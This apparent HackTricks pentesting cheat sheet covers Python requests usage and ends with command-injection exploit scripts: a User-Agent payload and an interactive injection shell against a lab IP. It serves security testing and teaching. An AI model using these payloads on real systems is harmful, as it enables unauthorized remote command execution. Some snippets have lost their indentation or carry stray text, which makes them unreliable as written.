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hacktricks/generic-methodologies-and-resources/python/web-requests.md

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使用 Trickest 可以轻松构建和自动化工作流程，使用全球最先进的社区工具。
立即获取访问权限：

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Python Requests

import requests

url = "http://example.com:80/some/path.php"
params = {"p1":"value1", "p2":"value2"}
headers = {"User-Agent": "fake User Agent", "Fake header": "True value"}
cookies = {"PHPSESSID": "1234567890abcdef", "FakeCookie123": "456"}
proxies = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}

#Regular Get requests sending parameters (params)
gr = requests.get(url, params=params, headers=headers, cookies=cookies, verify=False, allow_redirects=True)

code = gr.status_code
ret_headers = gr.headers
body_byte = gr.content
body_text = gr.text
ret_cookies = gr.cookies
is_redirect = gr.is_redirect
is_permanent_redirect = gr.is_permanent_redirect
float_seconds = gr.elapsed.total_seconds() 10.231

#Regular Post requests sending parameters (data)
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)

#Json Post requests sending parameters(json)
pr = requests.post(url, json=params, headers=headers, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)

#Post request sending a file(files) and extra values
filedict = {"<FILE_PARAMETER_NAME>" : ("filename.png", open("filename.png", 'rb').read(), "image/png")}
pr = requests.post(url, data={"submit": "submit"}, files=filedict)

#Useful for presenting results in boolean/time based injections
print(f"\rflag: {flag}{char}", end="")




##### Example Functions
target = "http://10.10.10.10:8000"
proxies = {}
s = requests.Session()

def register(username, password):
resp = s.post(target + "/register", data={"username":username, "password":password, "submit": "Register"}, proxies=proxies, verify=0)
return resp

def login(username, password):
resp = s.post(target + "/login", data={"username":username, "password":password, "submit": "Login"}, proxies=proxies, verify=0)
return resp

def get_info(name):
resp = s.post(target + "/projects", data={"name":name, }, proxies=proxies, verify=0)
guid = re.match('<a href="\/info\/([^"]*)">' + name + '</a>', resp.text)[1]
return guid

def upload(guid, filename, data):
resp = s.post(target + "/upload/" + guid, data={"submit": "upload"}, files={"file":(filename, data)}, proxies=proxies, verify=0)
guid = re.match('"' + filename + '": "([^"]*)"', resp.text)[1]
return guid

def json_search(guid, search_string):
resp = s.post(target + "/api/search/" + guid + "/", json={"search":search_string}, headers={"Content-Type": "application/json"}, proxies=proxies, verify=0)
return resp.json()

def get_random_string(guid, path):
return ''.join(random.choice(string.ascii_letters) for i in range(10))

Python命令以利用远程命令执行（RCE）

To exploit Remote Command Execution (RCE) vulnerabilities using Python, you can use the following command:

import requests

url = "http://target-website.com/vulnerable-endpoint"
command = "command-to-execute"

payload = "; " + command + " 2>&1"
headers = {"User-Agent": payload}

response = requests.get(url, headers=headers)

print(response.text)

Replace http://target-website.com/vulnerable-endpoint with the URL of the vulnerable endpoint on the target website. Replace command-to-execute with the command you want to execute remotely.

The payload is constructed by appending the command to execute with ; and redirecting the error output to the standard output (2>&1). This helps capture the command's output in the response.

The User-Agent header is used to inject the payload into the request. By manipulating the User-Agent header, you can exploit RCE vulnerabilities that allow command injection.

After sending the request, the response is printed, which will contain the output of the executed command.

Remember to use this technique responsibly and only on systems you have permission to test.

import requests
import re
from cmd import Cmd

class Terminal(Cmd):
prompt = "Inject => "

def default(self, args):
output = RunCmd(args)
print(output)

def RunCmd(cmd):
data = { 'db': f'lol; echo -n "MYREGEXP"; {cmd}; echo -n "MYREGEXP2"' }
r = requests.post('http://10.10.10.127/select', data=data)
page = r.text
m = re.search('MYREGEXP(.*?)MYREGEXP2', page, re.DOTALL)
if m:
return m.group(1)
else:
return 1


term = Terminal()
term.cmdloop()

使用Trickest可以轻松构建和自动化由全球最先进的社区工具提供支持的工作流程。 立即获取访问权限：

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

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